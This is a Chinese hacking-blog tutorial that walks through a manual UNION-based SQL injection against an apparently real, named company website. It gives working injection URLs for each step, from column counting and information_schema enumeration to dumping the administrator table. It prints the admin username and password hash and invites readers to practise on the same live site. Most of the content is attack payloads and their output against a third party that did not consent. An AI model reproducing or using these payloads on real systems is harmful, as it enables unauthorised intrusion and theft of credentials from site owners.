详细步骤php手工注入拿后台——新鲜热乎的实例

CracerCracer 2016-1-17 渗透测试 1,981 0 24

注入点http://ykeast.com/cp.php?sid=-3

z

我们看,返回正常

然后and 1=2看一下(其实这里只要等号前后的数值不同就可以,and=且 如果网站过滤and 我们用xor也一样的,只不过相反。)

下面的图片已经不显示了,说明存在注入。

a

然后order by 1 看看是否返回正常,如果连1都错的话那么就有问题了。所以大家注入的时候可以先用1试试没问题在向下进行。
好的,返回正常,就不截图了。
看看有多少字段吧 order by 10 出错 我们用折半法 order by 5 还是出错 order by 2 正确
order by 3 出错 那就说明是2
然后就可以爆显位了,http://ykeast.com/cp.php?sid=3 UNION SELECT 1,2
其实就是:注入点 UNION SELECT 字段
看看会发生什么。。

1

我们看到网页爆出来2个2,先不管那么多。只要知道2是显位就可以。(如果没有爆出来的话,可以在参数=这里加一个-号 或者前面加上and 1=2 只要让他报错都可以)
然后就是php注入非常重要的部分,要收集信息。先不解释,看下面操作就明白了。
version()获取版本
database()获取数据库名
user()获取当前用户
@@version_compile_os 获取操作系统信息
这个怎么用呢?其实非常简单。我们先来获取版本信息
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,version()
就是(注入点 UNION SELECT version())注意version()是插在显位数字那里的。不明白没关系多试几遍就懂了。看下图:

2

我们看到爆出了 5.0.77 这个版本信息。php注入的时候我们只要看他是大于5.0还是小于5.0.这里是大于5.0的版本,如果我们发现它是小于5.0的那么我们就不是这种方法注入了,要麻烦的多。好了继续爆数据库信息 database()获取数据库名。

3

好了,我们获得了数据库名:dfdn20120724 这对我们非常重要。
继续爆user()获取当前用户

4

我们得到了系统当前用户:dfdn20120724_f@localhost
还有一个我们要看看它的操作系统信息:@@version_compile_os 获取操作系统信息

5

获取到操作系统信息:redhat-linux-gnu 我们发现是Liuux的系统,哪怕我们对它一窍不通也没关系,不要在意。
好了整理一下我们收集到的信息:
数据库版本:5.0.77
数据库名:dfdn20120724
当前用户:dfdn20120724_f@localhost
操作系统:redhat-linux-gnu
【然后下面就是重点了,这个东西是死的,大家只要记住就可以。我留个公式下来:】
-------------------------------------------嘿嘿,在吗----------------------------------------------------

获取表名:
注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)
获取表段和字段:
注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)
获取指定表下的指定字段信息
注入点 UNION SELECT 1,字段名 from 表名
-------------------------------------------在啊,有事吗----------------------------------------------------
额额,不扯了。继续。不过记住分隔符里面的公式,以后只要把注入点和信息填进去就行。
首先来获取表名:
注入点 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)
按照公式把我们的注入点替换上去结果为下:
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)
最后还有个数据库名,这个我们前面已经通过显位database()爆出来了为:dfdn20120724
然后我们需要用转换工具来编码一下,我用的是小葵。看下图操作

11

 

在第一行粘贴我们要转换的内容(我们爆出的数据库名),然后看图片下面的箭头,Hex对应的内容:0x6466646E3230313230373234
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=编码后(数据库名)
然后把这个数据库名转换结果替换上去前后结果为:
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x6466646E3230313230373234
看上面的语句会发现information_schema.tables 为什么要写这串英文呢?因为版本大于5.0的话有个自带的表,就是它
所有如果小于5.0就么有这张表 注入语句也不会这么写。

好了,用它来获取数据库表名,我们访问试试。
看图:

12

很酸爽的感觉,。的感觉。感觉。.觉(不要诧异,这是回音。。。。是回音。。。回音。。音..)。....。。。
好的,表全部爆出来了(如果没有全部爆出来,我们只需要把table_name用英文括号括起来,前面加个group_concat 再次访问,就可以获取到所有表)
下面就是我们爆出来的所有表,我们要做的事情是判断哪张表是有我们要的管理账号密码,
在下面等你们。。。。。
1.web_config

2.administrator

3.info

4.pic

5.datainfo

6.lyan

7.link

8.web_config

9.dhuo·

10.nyy_administrator

11.cpclass

12.class
13. ly_info1
我在这。。。。好的,有些经验的朋友很容易看出来 administrator,这张表很可能是管理表
所以开始如下↓
获取字段:
注入点 UNION SELECT 1,column_name from information_schema.columns where table_name=编码后(表名)
大 家注意:这个时候我们要获取指定表下面的字段,所有最后就不是编码的数据库名,而是我们要获取的表名 这里为 administrator 这张表。我们把它用如上方法转换一下得出:0x61646D696E6973747261746F72 然后 此时的注入语句为:↓
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,column_name from information_schema.columns where table_name=0x61646D696E6973747261746F72
我们粘贴上去看下图:↓

13

可以看到已经爆出来了administrator这张表下的字段,整理如下:
1.sdate
2.pwd
3.id
4.uid
pwd里面应该是密码 那么用户名呢?没有看到user 或者name之类的表啊,没关系 我们先来爆密码
此时的语句就简单多了:
获取指定表下的指定字段信息
注入点 UNION SELECT 1,字段名 from 表名
这里把注入点替换http://ykeast.com/cp.php?sid=3 字段名替换pwd 表名替换为administrator
得出注入语句结果如下↓ :
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,pwd from administrator
结果如下:

14

爆出来密码了,....先记录一下:等会再解密,应该还不知道用户名
密码:7fef6171469e80d32c0559f88b377245
还有3个字段:

sdate
id
uid
开始找用户名: sdate 的英文意思为姓名,id和uid一般都是编号序号之类的
我们试试sdate
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,pwd from administrator
这时候注入语句只需要把上面的pwd替换成sdate就可以了
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,sdate from administrator
访问试试:结果如下图:

15

好吧,只是时间而已。已经走到这里千万别放弃,我们试试uid这个字段。因为林子大了上面鸟都有,谁也不知道下一秒会发生什么...什么.....么(我们见过,我是回音).....

言归正传:注入语句为:
http://ykeast.com/cp.php?sid=3 UNION SELECT 1,uid from administrator
看结果;

111

没错,uid报出了管理用户名。
用户名:amdin 密码:7fef6171469e80d32c0559f88b377245

这里解密后的密码和后台我就不放出来了,这样的话可以多一些人练练手。不然很快就被搞死了。
我也是小菜一个,我认同的学习方法就是多看视频,多看文章。然后练,如果说你看一篇文章或者视频,那个漏洞没有了 一时也找不到。那么如果想成长,进步。那就坚持下去,一旦你跨过去了,你会有很多收获的。

后序:希望大家支持一下,花了2个多小时才写好。。。。谢谢,谢谢。
对了,本人很喜欢交流,无论你技术高低,只要肯上进。都可以一起交流。欢迎!!!
再见。

转载请注明来自Cracer,本文标题:《详细步骤php手工注入拿后台——新鲜热乎的实例》

喜欢 (24) 发布评论
发表评论


Top